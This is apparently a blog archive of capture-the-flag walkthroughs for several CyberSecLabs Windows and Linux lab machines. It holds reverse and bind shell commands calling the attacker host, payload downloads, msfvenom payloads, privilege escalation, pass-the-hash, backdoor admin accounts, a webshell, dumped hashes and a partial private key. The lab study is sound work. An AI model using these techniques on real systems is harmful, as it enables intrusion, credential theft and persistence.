Month: June 2020
csl-secret-nl
Tasks
.
.
csl-stack-nl
Tasks
Scanning
nmap -p- 172.31.1.12
Running a scan of all 65,535 ports went quick, and revealed numerous services that could be available. So I took the information from above and ran an Nmap -A scan to get a better idea of what I was working with.
nmap -A -p80,135,139,445,3389,5985,47001,49152-49165 172.31.1.12
Great, we can see a lot going on here.We have a web server running Apache, SMB services, RDP, a couple additional web server looking applications running as well. Now that we know what we’re working with, we can move on to enumerating it.
Enumeration
I personally start from the top of my scans and work my way down, so naturally I started with the web server running on HTTP port 80. Visiting the page returned a page not found error, however running a Gobuster scan against the address showed me a /web directory. This proved fruitful.
page not found error
./gobuster dir -u 172.31.1.12 -w /root/Desktop/directories/
directory-list-lowercase-2.3-small.txt
directory-list-lowercase-2.3-small.txt
Now that we found a directory, a quick check of it shows that the server is running the GitStack service.
172.31.1.12/web/ directory GitStack results
When we enumerate a service it’s always important to research in to it more, especially if it isn’t something you’re familiar with. This was incredibly useful, and provided the path we needed from here all the way to the finish.
searchsploit gitstack
Awesome! GitStack has several exploits possible, and while we could easily take the fast route to flags, we are going to take the manual method this time around. Let’s explore this 43777.py exploit some more. A Google search showed it listed on ExploitDB.
exploitDB results
A quick check of the code for the exploit shows that it is extremely straight forward, and appears that simply changing the IP address is enough to get the ball rolling. Also of note is the command variable, which is what the exploit suggests is the variable we can modify for remote code execution.
IP address and command variables for RCE
Since the exploit is located on our machine already, I simply copied it to my working directory for use.
exploit copied to working directory
Exploitation
Now that we have a possible exploit to use, we can get to work building out or vector. We change the IP address to the 172.31.1.12 target address, and for now leave the command to see what happens.
exploit creation and results
And to be honest, here is where my jaw dropped a bit. Non-verified exploits on ExploitDB are hit or miss, and this one hit big time. We now know a user name, and can start digging deeper in to the system. We first start by enumerating the working directory (please note that the nc.exe and exploit.php are from me, and were not available upon startup).
command changed to “dir”, which showed the contents of the working directory
Being as we are in a lab machine, we know that flags are typically kept in a user Desktop directory and Administrator Desktop directory. Starting with the user John, we can manipulate the command in the exploit to show the contents of the Desktop directory, revealing the access.txt flag.
directory contents of user John’s Desktop and access.txt flag
Next we can pull the contents of access.txt utilizing the “more” command.
more command to reveal the John user flag
Now that we have the user flag let’s get out of the RCE via Python exploit, and in to an actual command line. For those not well-versed in Powershell, it has a “wget” command that allows us to pull files from external web servers. So we can spin up a Python Simple Server on our Kali machine, and write out a wget script using Powershell to pull a Netcat binary from Kali.
Python -m SimpleHTTPServer 9876
“powershell -c wget ‘http://10.10.0.4:9876/nc.exe’ -outfile ‘nc14.exe'”
“powershell -c wget ‘http://10.10.0.4:9876/nc.exe’ -outfile ‘nc14.exe'”
The 200 traffic in our web server shows that the Netcat executable was pulled successfully by our exploit. From here on out, we will simplify things using the Netcat binary on Windows. To confirm first, we run “dir” from the Python exploit to ensure the copy happened, which it did (as before, multiple nc.exe exploits are due to my experimentation, and were not there to begin with).
netcat binary copy confirmation
Now that we have a Netcat binary in the working directory we can use it to get shell access the machine via bind shell (you can also do it via reverse shell). I used nc14.exe as that is how I named it, however your naming convention will be different. Running the listener on the Windows machine allowed me to connect directly via Netcat from Kali, giving me a stable command shell to the target.
Top Right – modified python script to act as a bind shell listener; Bottom – command issue
Top Left – Bind Shell connection to command shell
Top Left – Bind Shell connection to command shell
We now have a stable command shell on the target. From here on out we are finished with our Python exploit, and you can close it for now. Enumerating users more showed that the Administrator directory has elevated access privileges that our user account doesn’t have access to.
whoami stack\john
Administrator access denied
After poking around for a while I noticed that user John had a password_manager.kdbx file in his Documents directory (again, please note that the Netcat executables were placed by me during exploitation, and were not in place beforehand).
password_manager.kdbx in Documents directory
Let’s look in to the password_manager file. This turns out to be a KeePass database extension. Researching further showed that KeePass hashes can be cracked using John the Ripper. So we have a vector, and need to get it back to our Kali machine for exploitation. We can do this using Netcat, however we are currently using it to connect to our machine, and we cannot run it in multiple instances. To bypass this, we can use the Powershell wget script to pull another copy to our current directory, and change the name of the output file.
powershell -c wget “http://10.10.0.4:9876/nc.exe” -outfile “nc3.exe”
We now have another available copy of the Netcat binary on our machine, and can use it to transfer the database file between our attack machine and the target Windows machine. We do this by creating a Netcat listener on the Windows machine that sends the file to anyone connecting to the machine on that port. We then connect to the target machine and port using our Kali machine, which transfers the file to our working directory.
Right – nc3.exe -v -w 30 -p 1337 -l < password_manager.kdbx
Left – nc -v -w 172.31.1.12 1337 > password.kdbx
Left – nc -v -w 172.31.1.12 1337 > password.kdbx
Now that we have a copy of the KeePass database, we can attempt to harvest a hash from it. We do this using KeePass2John.
keepass2john password.kdbx
As we can see, we are able to successfully harvest the password hash for accessing KeePass. Fortunately the database administrator uses a poor password, and we easily crack the hash using the Rockyou password list.
john -format=keepass tocrack -w passes/rockyou.txt
Using the password we discovered, we can log in to the KeePass database, and easily harvest the credentials of both the Administrator and John users.
administrator password
Now that we have a password, let’s try to get in to the Administrator’s account. We can do this by utilizing psexec.py.
psexec.py stack/Administrator:<passhidden>@172.31.1.12
And as you can see the parameters worked! We have NT AUTHORITY\SYSTEM access privileges. Which means we also have the system flag.
MayorWasHere and system.txt flag
Protected: thm-gatekeeper-nl
csl-sam-nl
Tasks
Scanning
From now on I’ve added my “MayorScan3000” portscanning tool into the equation when I’m kicking off, as folks have been telling me I waste time by not scanning all ports. So I juiced up my port scanner to run with threading enabled. Meanwhile I’ll still do my basic Nmap Scan as well to grab those immediate results.
MayorScan3000
nmap -p135,139,445,3389,5985 -A 172.31.1.18
Nmap doesn’t return much information, but we do see that SMB is running on the target, which can give us a good start. Let’s enumerate!
Enumeration
We can begin by inspecting the SMB service using smbclient.
smbclient -L 172.31.1.18
Running smbclient shows that there are several shares, with “backups” being accessible. We need to investigate this further.
smbclient \\\\172.31.1.18\\backups -U ”
Well this was pretty easy, right? We’ve discovered a misconfigured share that allows anonymous access to the C:\. Let’s exploit it!
Exploitation
With such unrestricted access to the file system, we should really search around some. We can quickly check the Users directory, which shows us the user “jamie.” Additionally we can head to jamie’s Desktop and grab the user flag there.
User Flag on Jamie’s Desktop
So now that we have a flag, and a user name, we need to determine what to do from here. We discovered a username, so we could try to enumerate that a bit. Let’s use Crackmapexec for this.
crackmapexec smb 172.31.1.18 -u jamie -p /root/Desktop/passes.txt
Crackmapexec makes quick work of locating a password for the user. We saw port 5985 open earlier which means we can probably use Evil-WinRM to connect. Let’s do that.
evil-winrm -i 172.31.1.18 -u jamie -p redacted
We are successfully logged in! We see that we are jamie on the machine, and now we need to get to escalating our privileges. We can start by starting a Python server and pulling our tools to the target machine and running winPEAS to start.
powershell -c wget “http://10.10.0.7:8000/winPEAS.exe” -outfile “winPEAS.exe”; C:\Users\jamie\Documents\winPEAS.exe
Keep in mind we are using PowerShell currently and need to provide the entire program path in order to run it. Unfortunately we aren’t able to find any real information about the machine or escalation in winPEAS. This was the same with PowerUp.ps1 as well. I started scratching my head for a moment and had to remind myself that there are plenty of ways to manually enumerate privileges, services, etc. Let’s do some of that.
whoami /priv
Our user privileges don’t show much that we can take advantage of unfortunately. We can check for running services next.
services (not a typical way to execute this query)
The above took some trial and error because Powershell uses “Get-Services” to list the running services, and that wasn’t working as expected. Running services did, however, which revealed the above. Of note is the monitor1 and monitor2 services. Unfortunately we cannot do much to gather more information on these from Evil-WinRM, so I decided to move to a reverse shell using Netcat, and get out of Powershell. This required me to transfer a Netcat.exe binary to the machine first, and then connect to my Kali machine.
Top nc -nlvp 5555; Bottom C:\Users\jamie\Documents\nc.exe 10.10.0.7 5555 -e cmd.exe; Top – sc qc monitor1
We see that the service is running as LocalSystem, and that it can be started/stopped. Knowing this, we need to ensure that we can modify the directory and it’s contents. We can use icacls for this.
icacls Services
There is a lot going on in the above image, but what is important is that Users has a RX and W in the results. This means that we can Read, Write, and Execute in the directory location. Now all we need to do then is to replace the monitor1.exe with a malicious executable and restart the service.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.0.7 LPORT=2246 -f exe > monitor1.exe
We can not move this to the target machine, start another Netcat listener to catch the shell, and start the service.
Left – powershell -c wget “http://10.10.0.7:8000/monitor1.exe” -outfile “monitor1.exe”; sc stop monitor1; Right – nc -nlvp 2246; Left – sc start monitor1; Right – reverse shell successful
A quick whoami shows that we are NT AUTHORITY\SYSTEM. We can head to the Administrator’s Desktop quick to grab the system flag.
System.txt flag on Administrator’s Desktop
We can additionally do some Post-Exploitation to take full control of the machine.
Right – net user themayor !Password123 /add; net localgroup Administrators themayor /add; Left – xfreerdp /u:themayor /p:’!Password123′ /v:172.31.1.18 RDP Login
A quick check of the server users shows that we are indeed a Server Admin now.
.
csl-imposter-nl
Tasks
Scanning
nmap 172.31.1.20
nmap -A 172.31.1.20
We have several ports open, however the important ones to notice here are ports 21 and 8080. 21 is running FTP, and port 8080 is running WingFTP, which is a graphical FTP manager.
Enumeration & Exploitation
Enumeration begins with visiting the webpage, which we are able to actually log in to with the admin:password default credentials. This quickly moves right in to exploitation
WingFTP login screen and Dashboard
Quickly poking around reveals that we are an administrative user, and are able to create an FTP user, which there currently aren’t any.
User Creation
We’ve created a user and granted them complete access to the file system. This is where the unintended exploit was discovered. WingFTP is running as a low privilege user, however by granting the access I did, I discovered that I was permitted to access the ENTIRE file system, to include the Administrator directory, System32 files, etc. This is completely unintended, and after researching for some time I was unable to find anything in the wild that suggests this exploit has been discovered before. I’ll be doing more research on this to determine if it’s simply a misconfiguration (which it shouldn’t be due to user permissions on the underlying machine), or an actual zero day exploit that’s not yet been discovered.
Now back to our regularly scheduled walkthrough.
We’ve now created our user, and can leverage it to gain access to the FTP service on the machine. We’ll first need to log in to it, then create a payload with msfvenom, and can then utilize the Lua Console in WingFTP to execute it and gain a reverse shell in Metasploit.
ftp 172.31.1.20 login
User lian directory where we will place our exploit (notice we have RWX permissions on Administrator)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.0.7 LPORT=5555 -f exe > pwn.exe
put pwn.exe file upload
Metasploit Multi Handler and Payload parameters
Reverse shell via Lua Console execution – os.execute(‘cmd.exe /c C://Users/lian/pwn.exe’)
At this point we have Meterpreter shell access to the machine and are able to enumerate our current user. We can do this using the win_privs module first to determine what our privileges are on the system.
run post/windows/gather/win_privs
Notice that we can Delegate and Impersonate privileges. In order to do this, we can utilize the Incognito module in Meterpreter.
load incognito; list_tokens -u
We notice that the NT AUTHORITY\SYSTEM token can be delegated, which we will use the impersonate_token command for.
impersonate_token “NT AUTHORITY\SYSTEM”
With the token impersonated, all you have to do is snag the flags and complete the challenge.
User and Administrator Flags
.
csl-engine-nl
Tasks
Enum
As always we start with a nmap scan
nmap 172.31.1.16
nmap -A 172.31.1.16
As you can see we have a web server running on port 80, SMB on 445, and RDP on 3389. We can note that the machine’s name is ENGINE for further reference. Let’s continue on.
We are going to start by checking out the webserver on Port 80, however we get a default page.
Default Windows IIS Webpage
This is actually a pretty common occurrence in a penetration test, and can oftentimes be running services within subdirectories. We can check for the possibility of this using Dirsearch.
python3 dirsearch.py -u 172.31.1.16 -e php,cgi,txt,exe,html -x 400,401,403 -r -R 3
Dirsearch has successfully located additional directories, and in this case specifically the /blog directory. Let’s check that out in the browser now and see what we find.
172.31.1.16/blog
We can see a page named “Alex’s Blog,” which appears to be running BlogEngine.net. Additionally, we can attempt to log in by clicking the login button in the submenu above.
BlogEngine Login page for Alex’s Blog
I attempted to use default credentials I found online, but they were unsuccessful. However, trying the tried and true “admin:admin” worked, and we successfully gained access to the administrator dashboard. Let’s go back to the BlogEngine service we discovered earlier, and do some research. Searchsploit shows the following results.
searchsploit blogengine
BlogEngine appears to be vulnerable to directory traversal and remote code execution. Let‘s do some research and see if one of these exploits can help us gain access. After some searching we do find that one of them (46353.cs) seems to fit our needs.
ExploitDB BlogEngine.NET 3.3.6 Exploit
Exploitation
Now that we have a possible exploit we need to figure out how to use it. Fortunately this one is pretty straight forward. We can copy it from our ExploitDB folder on Kali to our working directory and inspect it’s requirements.
Copying 46353.cs from ExploitDB directory to our working directory
Information Modification
So there’s a couple of things here. First, we see in the bottom that we have to modify the IP address and port. In the top we are instructed to save the file as “PostView.ascx” as this is the format that the BlogEngine service will recognize. So modify as required, and save the file. Once you’ve done this we can move ahead.
Now navigate through the dashboard to the edit menu for the one single post we can locate on the server.
Choose the post above
Click the File Manager button as shown above
From here you should see an upload button. Select that, and upload your “PostView.ascx” file.
Uploading file
Now that the file is uploaded we need to navigate to the directory that we are shown in the exploit file. But first, start a Netcat listener listening on the port we specified in the exploit. If you’ve followed the instructions correctly, you should get a reverse shell when you visit the site.
Reverse Shell – http://172.31.1.16/blog/?theme=../../App_Data/files
You’ll notice that the shell is funky and would benefit from an upgrade. I do this by grabbing my Netcat binary using Powershell to get it from our Kali machine. Remember to start your Python SimpleHTTPServer as well.
Bottom – python -m SimpleHTTPServer 8181; Top – powershell -c wget “http://10.10.0.7:8181/nc.exe” -outfile “nc.exe”
You can now start another Netcat listener on Kali, and run nc.exe from the target machine to connect back. Let’s do that now.
Bottom – nc -nlvp 5555; Top – nc.exe 10.10.0.7 5555 -e cmd.exe
Great! We now have a more stable shell. Unfortunately we find quickly that we do not have access privileges to the user or Admin folders. We will need to escalate privileges.
User folder access denied
We can use various methods to determine ways to escalate. In this case I used winPEAS. Let’s grab that from our Tools folder on our Kali machine and run it.
powershell -c wget “http://10.10.0.7:8181/winPEAS.exe” -outfile “winPEAS.exe”; winpeas.exe
We let winPEAS do it’s thing, and once it’s complete we can go through the results. One thing sticks out, which is some default credentials that have been found hiding in registry.
Default Credentials Found
Now that we have what appears to be Administrator credentials we can attempt to log in with them. Noting that we early found SMB running on the machine we can use psexec or, in the case of this walkthrough, Evil-WinRM.
evil-winrm -i 172.31.1.16 -u administrator -p PzCEKhvj6gQMk7kA -s /root/Desktop/Tools
You’ll notice that whoami returns administrator, which is what we hoped for. Additionally, please make note of my use of the -s flag with the follow on directory. This allows me you to run scripts and programs directly from the Tools directory on your Kali machine. Neat trick! Let’s grab our flags quick.
access.txt and system.txt flags found
If you’re here for just the flags, then congratulations! You have completed the challenge and can submit the hashes to the CSL dashboard for the machine. If you are interested in some basic post-exploitation, then please continue on.
Post Exploitation
Now that we have administrative access we can think about how we can provide continued access in the future. As with previous guides, we can simply create a user and add them to the administrator group.
net user themayor !Password!123 /add; net localgroup Administrators themayor /add
We saw earlier that RDP is already enabled, so we don’t need to enable it and can simply attempt to log in using XFreeRDP.
xfreerdp /u:themayor /p’!Password!123′ /v:172.31.1.16
And we are successfully in the Server 2012 environment. Open up the server manager quick to verify that we are in the Administrator’s group and you’re all set.
csl-boats-nl
Tasks
Port Scanning
root@kali:~/cyberlabs/Boats$ nmap -sV -sT -sC -o nmapscan 172.31.1.14
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-30 20:17 EDT
Nmap scan report for 172.31.1.14
Host is up (0.11s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.11 ((Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i PHP/5.2.9)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-generator: WordPress 4.0.1
|_http-server-header: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i PHP/5.2.9
|_http-title: Boats | Boats
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/https?
|_ssl-date: 2020-05-31T00:19:50+00:00; +1s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_IDEA_128_CBC_WITH_MD5
|_ SSL2_DES_64_CBC_WITH_MD5
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: BOATS
| NetBIOS_Domain_Name: BOATS
| NetBIOS_Computer_Name: BOATS
| DNS_Domain_Name: Boats
| DNS_Computer_Name: Boats
| Product_Version: 6.3.9600
|_ System_Time: 2020-05-31T00:19:26+00:00
| ssl-cert: Subject: commonName=Boats
| Not valid before: 2020-04-21T19:39:55
|_Not valid after: 2020-10-21T19:39:55
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49163/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: BOATS, NetBIOS user: <unknown>, NetBIOS MAC: 02:33:63:0d:b9:ba (unknown)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-05-31T00:19:25
|_ start_date: 2020-05-31T00:12:56
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.08 seconds
Now we have WordPress CMS hosted on 80 port and we need to start enumerate a WordPress Plugins and Themes and Misconstructions and more to try to gain access to this application.
Application Enumeration
I will use a ffuf to fuzzing a directories and hidden files in application and on the other side i will run WPscan to scan WordPress vulnerable plugins and Themes and enumerating users.
After fuzzing directories i found a phpmyadmin path accessible without password.
Now I found a “WordPress” Table in Phpmyadmin and i can edit a “wp_users” table to login with admin account.
In “WP_Users” i found a user called “James” with “id=1” and this means this user has the administrator privileges and we need to change his password to login with his account.
I have changed a user_pass for james password to “secfathy” and select MD5 to generate a password with MD5 Hash.
Now we need to login with James account by using our password to WordPress Dashboard and to login to this dashboard we need to navigate to this following URL http://172.31.1.14/wp-login.php
Yes we have access with administrator privilege to WordPress dashboard and we need to get a reverse shell to access this machine, we have more than method like upload a malicious Theme or plugin with our backdoor with php extension or edit one of installed themes and replace this index page for example with our backdoor code to gain access and we can install a WPTerm Plugin to execute command on wordpress – but i will edit a Twenty Fourteen theme to add me code.
To edit a WordPress Themes navigate to Appearance > Editor
I selected a “Index.php” page to add my code but I don’t prefer to use this method in production environment during any penetration testing assessment because if you didn’t get a backup, you will not be able to enter the main page of the site.
I will use a “p0wny webshell” to access a machine files simply https://github.com/flozz/p0wny-shell
After select a “index.php” i add my a p0wny webshell code to access web-shell and to save this action click to “Upload File” button.
by navigate to machine homepage you can find a Powny Shell terminal and i executed a whoami command to know what is my privileges and a terminal return system – our goal now to get a user.txt flag and root.txt flag from this user desktop and administrator desktop.
by using a powny shell i navigated to “C:\Users\james\Desktop” and i found a “access.txt” file
Now I have a access.txt flag and we need to get a “system.txt” flag and by small searching i found this flag in a administrator desktop
Yes!! we own a system flag
csl-potato-nl
Tasks
NMAP ENUM
sudo nmap -O -A -p- 172.31.1.19
kali@kali:~/cyberseclabs$ nmap 172.31.1.19 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-25 10:33 EDT Nmap scan report for 172.31.1.19 Host is up (0.10s latency). Not shown: 990 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 8080/tcp open http-proxy 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49163/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 20.86 seconds
We get a Jenkins login page lets try some default credentials the good old admin:admin…
Step 2: Exploitation
Browsing around the console and doing some clicking around, I have no idea what the hell I am looking for. I see a script console and this starts to stir up some evil thoughts on how I can exploit this thing. Did some googling and sure enough I found a Metasploit module that allows us to exploit this bad boy using Java code execution. This exploit can also be done manually without using Metasploit’s spoon feeding by throwing in commands to execute in the console.
Exploit: https://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console
Let’s now fire up Metasploit from our terminal and use the exploit module following the commands in order:
msfconsole use exploit/multi/http/jenkins_script_console set RHOSTS 172.31.1.19 set RPORT 8080 set TARGETURI /script/ set USERNAME admin set PASSWORD admin
by default this module likes to use reverse_https payload for our reverse connection back. I switched to reverse_tcp for consistency.
set payload windows/meterpreter/reverse_tcp set LHOST <your ip> set LPORT 7777 run
Now it starts to exploit giving us back a meterpreter session. I typed the command shell for a detailed shell.
C:\Users\ben\Desktop>type access.txt type access.txt 11d92ba4a09c10adf0eb3636ad4c57e5 C:\Users\ben\Desktop>
Step 3: Post Exploitation
I ran to see if this thing was vulnerable to the Juicy Potato exploit
C:\Users\ben\Desktop>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled C:\Users\ben\Desktop>
We can see that SeImpersonatePrivilege is Enabled. This means we can use the famous Juicy Potato attack.
I found a Juicy Potato exploit module for Metasploit. While still in the basic command shell, press Ctrl-Z to background the session. Hit Y if it asks you to background it.
We are now dropped back to the main Metasploit prompt, and we can verify any sessions we have running in the background with the sessions command:
We can now then load the Juicy Potato exploit module using the following commands:
use exploit/windows/local/ms16_075_reflection_juicy set SESSION 1 set LHOST <your ip> run
Sadly not working for me..
So We first transfer the juicy potato binary on our victim machine. You can get it from here. We also transfer nc.exe(Netcat for windows) to the victim machine.
c:\users\ben>certutil -urlcache -split -f http://10.10.1.1/nc.exe nc.exe
Juicy Potato also requires CLSID as an argument. You can find the list of CLSID for your OS version on the github repo of Juicy Potato. Using the ‘systeminfo’ command we can see that the machine is running Windows server 2012.
Next, we create a batch file, having the following contents.
This simply means that when rev.bat is run, it will connect to our local machine using nc.exe .
Now, we use juicy potato. But before that let’s set up a netcat listener on our local machine.
Running Juicy potato now,
Here,
- -p : Program to launch
- -t : Create Process call.
- -l : COM Server Listen Porn
- -c : CLSID as mentioned above. You can use any one from the list till it works.
Once this is completed, we get a shell back on our machine as NT Authority\system.
again not for me
c:\puck>juicy.exe -p c:\puck\rev.bat -t * -l 6666 -c {e60687f701a140aa-86ac-db1cbf673334}
juicy.exe -p c:\puck\rev.bat -t * -l 6666 -c {e60687f701a140aa-86ac-db1cbf673334}
Testing {e60687f701a140aa-86ac-db1cbf673334} 6666
COM -> recv failed with error: 10038
let’s go rotten
meterpreter > upload /tmp/rottenpotato.exe . [*] uploading : /tmp/rottenpotato.exe -> . [*] uploaded : /tmp/rottenpotato.exe -> .\rottenpotato.exe meterpreter > load incognito Loading extension incognito...Success. meterpreter > execute -Hc -f rottenpotato.exe Process 952 created. Channel 3 created. meterpreter > execute -Hc -f rottenpotato.exe Process 1952 created. Channel 4 created. meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [-] No delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
c:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 7863-44CF
Directory of c:\Users\Administrator\Desktop
05/16/2020 01:26 PM <DIR> .
05/16/2020 01:26 PM <DIR> ..
05/19/2020 11:54 AM 32 system.txt
1 File(s) 32 bytes
2 Dir(s) 8,087,158,784 bytes free
c:\Users\Administrator\Desktop>
type system.txt
7b57e970b90d4244c5efa500b9dfe457
c:\Users\Administrator\Desktop>
c:\Users\Administrator\Desktop>^Z Background channel 5? [y/N] y meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:1c79999f468c6922c065724d95a18223::: ben:1009:aad3b435b51404eeaad3b435b51404ee:e549e5d2b2bf452ba959520eb82bdeeb::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter >
kali@kali:~/cyberseclabs$ python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:1c79999f468c6922c065724d95a18223 ad ministrator@172.31.1.19 Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Requesting shares on 172.31.1.19..... [*] Found writable share ADMIN$ [*] Uploading file fJyPgVRp.exe [*] Opening SVCManager on 172.31.1.19..... [*] Creating service srVS on 172.31.1.19..... [*] Starting service srVS..... [!] Press help for extra shell commands Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>hostname &&whoami Potato nt authority\system C:\Windows\system32>
Author – Puckiestyle
csl-share-nl
Tasks
NMAP ENUM
kali@kali:~/cyberseclabs$ sudo nmap -p- 172.31.1.7 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 09:49 EDT Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan Nmap scan report for 172.31.1.7 Host is up (0.10s latency). Not shown: 65526 closed ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 111/tcp open rpcbind 2049/tcp open nfs 27853/tcp open unknown -> ssh 34971/tcp open unknown 36663/tcp open unknown 50727/tcp open unknown 56401/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 621.71 seconds
RPC ENUM
kali@kali:~/cyberseclabs$ mkdir /tmp/amir kali@kali:~/cyberseclabs$ sudo mount -t nfs 172.31.1.7:/home/amir /tmp/amir [sudo] password for kali:kali kali@kali:~/cyberseclabs$ cd /tmp/amir kali@kali:/tmp/amir$ ls -la total 40 drwxrwxr-x 5 kali kali 4096 Apr 2 11:43 . drwxrwxrwt 14 root root 4096 Jun 25 10:01 .. -rw-r--r-- 1 kali kali 0 Apr 2 11:46 .bash_history -rw-r--r-- 1 kali kali 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 kali kali 3786 Apr 2 11:46 .bashrc drw-r--r-- 2 kali kali 4096 Apr 2 10:44 .cache drw-r--r-- 3 kali kali 4096 Apr 2 10:44 .gnupg -rw-r--r-- 1 kali kali 807 Apr 4 2018 .profile drwxrwxr-x 2 kali kali 4096 Apr 2 11:20 .ssh -rw-r--r-- 1 kali kali 0 Apr 2 10:47 .sudo_as_admin_successful -rw-r--r-- 1 kali kali 7713 Apr 2 11:43 .viminfo kali@kali:/tmp/amir$ cd .ssh kali@kali:/tmp/amir/.ssh$ ls -la total 24 drwxrwxr-x 2 kali kali 4096 Apr 2 11:20 . drwxrwxr-x 5 kali kali 4096 Apr 2 11:43 .. -r-------- 1 kali kali 393 Apr 2 11:12 authorized_keys -r-------- 1 kali kali 1766 Apr 2 11:11 id_rsa -rw-r--r-- 1 kali kali 1766 Apr 2 11:20 id_rsa.bak -r-------- 1 kali kali 393 Apr 2 11:11 id_rsa.pub
kali@kali:/tmp/amir/.ssh$ cat id_rsa -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,8D55B7449F8965162DA3B7F2F017FC21 2lI1tgSF61MjFg2Er22GWr9hImJbuZ01I556yFoLAGNj/95ZB2H8Er9u8wfMgr8z uB8Yuw2GmO0jJguQ4CK36kDLT/hpG5AW5WfHASzePHx58Ol2hrH+2e5IAoIwcVmi bFN3zIYYCznn6bIvRaqwkuxaD01EG8IPxgAvm0Nr3sP539wngplyf7/+xqvPyT18 jT058FEMPFmeb+V0MHczlNWOW6wrGnxQAea2ON+IUwiSsTVSLv4QLGVWF8Lcualy t4+4Kr47gdlxRh9HcNDztfIztimMdGp8AdV5z4KDKyL6FUVfmZqC2nxhbFUKtF7k su7qHGpV9p9Pkglx+/rUq9NeifFcRGrhsOWctUXmWJ7BbmrqFgw1+X8ui6A/uttE R8hEblI4obffLnGDrAO4wuH+qtA2oelwwjl/JxyqwbGH4RGAW/4AseqDzQ6RpfgQ Sq8wBPb5MMp2ZKEzEl8qcWcwS1FCGz/VPHpnEYwfpFlcJ1kpqkiT5gmNrDFauN1m upeSS7T5iAeHHmskbHJfNNSGYjSbTRzCSFlq2vCNXGte7jta34YCVucNHBIUR/2y GLrm3CmVYPrjdw0irwDt+uepPfUyQQLhSqiZdbyGiljlUeij5+zJax7tOjlBBjBS Y0rMRwiG8FGDEBbSmDZk30qB3Qb9TQcaqe9Wi/liFuxVyfbukiGW2b65JGbd7R1q Vh6pKw4Hd35iGmVskme7evsSupEMOu9fKsJAkIrQTxadpU8wG2wkp0NTM7fh3aut TDGKorRXOXj+cV6zehjXUYyUTesTMDh9EUVmHuixvIFX8V3w562BV28murByt7I+ ubvmZxjvh51nzpOJa4g61tnj/4OCbhFCEK4nsExh0HS11WeDAvueDauLk2Wgiw/z /yyssrshPiXe/vxYGFJlHelyDaUSwpdrZ0AGzwUutN0rOrh3yS6yTDH2raLSa76y e1bxe+rh2Q/iEhzqa1RbWrg7fA+5FJRLAZdYlaqlEsVt81nw4mdBCpjEbUl19egF xIqogCAilFWvnZQ4f12JPmk0mke84idw76+SdBeof18gGiR3mWn3IyoFLRacMs5N 4zrNBXOGCVVzXCoo88ioYw1I91O57c0vbx8S40SbIevUprphf3VTZlyrRxw2AB/R zclXHN/fEewst2maxauD+32Krm1uvTcCNk3CNre7NwPb6tB0rY3R3E7h2S/MKt0Y eZKbFFmLwnokHqzSI8uIy8wrPj6H9R+wxT0+/KPyi3L7JIbParsHO4flBx1sMCUl jlSNW/3J2ADP7QKA5AyjVcsIbp/aXyeJKCtglRc4Yl8mEmCroe61pCDO0mnatWxF Y9/z6VRC61sjO4T1xYcGFSlVeXANuN8TYR8mUyvruG8OoNQ65RvgxSCRPzFe4EAm 